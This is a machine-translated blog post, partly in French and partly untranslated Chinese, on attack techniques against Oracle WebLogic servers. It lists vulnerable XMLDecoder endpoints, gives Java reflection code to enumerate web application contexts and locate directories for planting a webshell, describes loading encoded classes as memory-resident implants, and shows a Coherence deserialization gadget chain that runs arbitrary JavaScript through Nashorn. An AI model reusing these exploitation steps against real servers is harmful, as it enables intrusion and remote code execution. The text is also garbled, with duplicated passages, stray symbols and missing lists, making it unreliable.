Quelles sont les techniques d'attaque weblogic ?

Introduction

Le serveur weblogic se caractérise par une architecture vaste et complexe, généralement difficile à défendre pour l'équipe bleue, et est majoritairement déployée sur le réseau externe. De plus, le coût de l'attaque de weblogic est relativement faible. Tant qu'il existe une vulnérabilité, vous pouvez généralement obtenir directement les autorisations root du serveur cible. Lors des exercices offensifs et défensifs, toutes les principales équipes attaquantes et défenseurs se sont concentrées sur ce sujet.

Bien sûr, il y a plus ou moins de problèmes avec divers programmes d'exploitation actuellement disponibles sur Internet, y compris mes propres outils. Alors récemment, à la demande d'un ami, j'ai réglé quelques méthodes d'attaque et utilisations « parfaites ». L’équipe rouge peut l’utiliser pour améliorer ses propres outils, et l’équipe bleue peut l’utiliser pour rédiger des rapports de traçabilité.

1. Détecter s'il existe des vulnérabilités dans weblogic

Actuellement, il n'existe pas de meilleure méthode pour déterminer s'il existe des vulnérabilités dans weblogic. Habituellement, l'approche de divers outils consiste à utiliser exp une fois. S'il réussit, il y aura naturellement une vulnérabilité. S'il échoue, il n'y aura pas de vulnérabilité. Ou détectez-le via DNSlog. Ces deux méthodes sont limitées par divers facteurs, entraînant un taux élevé de faux positifs et de faux positifs. Il est également possible de déclencher les règles des dispositifs de sécurité comme les honeypots et les waf.

Bien sûr, je vais présenter ici un moyen plus simple de vérifier s'il existe une vulnérabilité, c'est-à-dire d'utiliser la fonction CODEBASE de T3 RMI pour vérifier la liste noire de weblogic.

codebase : En termes simples, la base de code est le chemin pour charger des classes à distance. Lorsque l'expéditeur de l'objet sérialise l'objet, les informations de base de code sont ajoutées au flux de sérialisation. Ces informations indiquent au récepteur où trouver le code exécutable de l'objet.

Alors pouvons-nous diffuser nos pensées, et si cette classe était une classe de liste noire de weblogic ? ? De plus, la base de code de weblogic utilise le protocole http pour transmettre les classes.

La méthode d'utilisation est la suivante. Utilisez votre navigateur et confirmez que l'autre partie est un serveur weblogic L'URL est la suivante

Liste noire de désérialisation T3 <. code> http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.classhttp://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder 黑名单http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 codebase分析

在weblogic.rjvm.InternalWebAppListener#contextInitialized

xmldecoder Liste noirehttp://192.168.119.130 : 8088 //bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 Analyse de la base de code T3

dans weblogic.rjvm . Le code sur InternalWebAppListener#contextInitialized enregistre le code pour le traitement de la base de code, c'est-à-dire que le chemin de la requête est classes

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

Jetons un coup d'œil au code de traitement de weblogic.servlet.ClasspathServlet. C'est très simple, il suffit de lire Get the class name et de l'écrire dans la réponse http.

Bien sûr, y a-t-il également une vulnérabilité de lecture arbitraire de fichiers ici ? La réponse est oui, mais il existe une liste noire qui interdit la lecture des fichiers portant certains suffixes. La liste noire est la suivante

Théoriquement, vous pouvez également utiliser CODEBASE pour lire les classes d'utilisateurs et les télécharger localement pour l'analyse du code. Le principe est que vous devez connaître le nom de classe de l'utilisateur. Bien sûr, il existe également une liste noire, la liste noire est la suivante

2. Vulnérabilité de désérialisation du décodeur Weblogic xmldecoder

Don' Je ne fais pas trop de vulnérabilités Introduction, je ne discuterai pas ici de la cause et de l'analyse de cette vulnérabilité.

URL de détection de vulnérabilité

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType # 🎜 🎜 #

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

ParticipantPortType11

# 🎜🎜# RegistrationRequesterPortType11

#🎜🎜 #

Je pense que la difficulté d'exploiter cette vulnérabilité est la suivante

1 Il n'y a que du code d'écho sur Internet, mais pas de code d'exploitation, comme le cheval de mémoire#🎜🎜. ##🎜 🎜#2. Si vous écrivez un cheval, vous risquez de rencontrer des problèmes de chemin. Le chemin de Wenlogic est aléatoire et la solution actuellement divulguée sur Internet est explosive.

3. Comment retrouver tous les Contextes ?

Résolvons-les un par un, en prenant l'exp de weblogic 10. 🎜🎜#

1 Appelez la fonction weblogic.utils.Hex.fromHexString pour convertir l'hexagone. fichier de classe encodé au format binaire

2. Appelez la méthode définirClass de org.mozilla.classfile.DefiningClassLoader , chargez le fichier de classe ci-dessus dans la machine virtuelle

3. Méthode newInstance pour générer une instance de la classe ajoutée à la JVM ci-dessus

4 Appelez la méthode d'instance pour terminer l'attaque

payload En fait, vous savez comment faire. pour écrire xmldecoder si vous le regardez un peu, donc je n'entrerai pas dans les détails ici

Tous les problèmes ci-dessus peuvent en fait être attribués à Une question est de savoir comment trouver le contexte de toutes les applications Web sous une logique Web ?

Ici j'expose une méthode qui a été testée sous weblogic 10/12 et qui n'est pas affectée par le protocole En d'autres termes, tant que vous pouvez exécuter le code dans weblogic, je peux obtenir weblogic All. contextes Web. Le code est le suivant

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<webappservletcontext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;</webappservletcontext>

2.1 获取随机路径

利用上面的代码，获取到weblogic 加载的所有的web context后，我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置，然后写入webshell。

我的代码如下

List<webappservletcontext> contexts = findAllContext();
Iterator<webappservletcontext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>

截图如下

2.2 weblogic 12.x payload

weblogic 12.x 中，没有org.mozilla.classfile.DefiningClassLoader这个类，况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式，那就是通过java调用js。

从 JDK 1.8 开始，Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性，其中包含在 JDK 7 中引入的 invokedynamic，将 JavaScript 编译成 Java 字节码。

注意，不支持1.5以及1.5以下的JVM

在java执行js时，可以调用任意java对象，方法，类。需要注意的是，java是强类型语言，而js是弱类型语言，js有的时候可能会代码意想不到的类型转换。这里需要注意

只需要将上面加载context的代码，改成js就可以，在这里我贴一张截图

在nashorn中，默认最后一个变量作为调用本次js的返回值

三、weblogic T3反序列化

在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具， 。当然也有一点点bug，不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探测的话，参考前面的黑名单下载方式

当然，T3反序列化中也有很多坑，例如 cve-2020-2555 等，无法做到类似于CC链的任意代码执行，目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包，部署恶意代码。

但是我们依旧可以通过反序列化的链式执行，调用nashorn的方式，间接做到任意代码执行。

而我们待执行的js，通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下

image-20210329124530132

当然，corherence gadget处需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!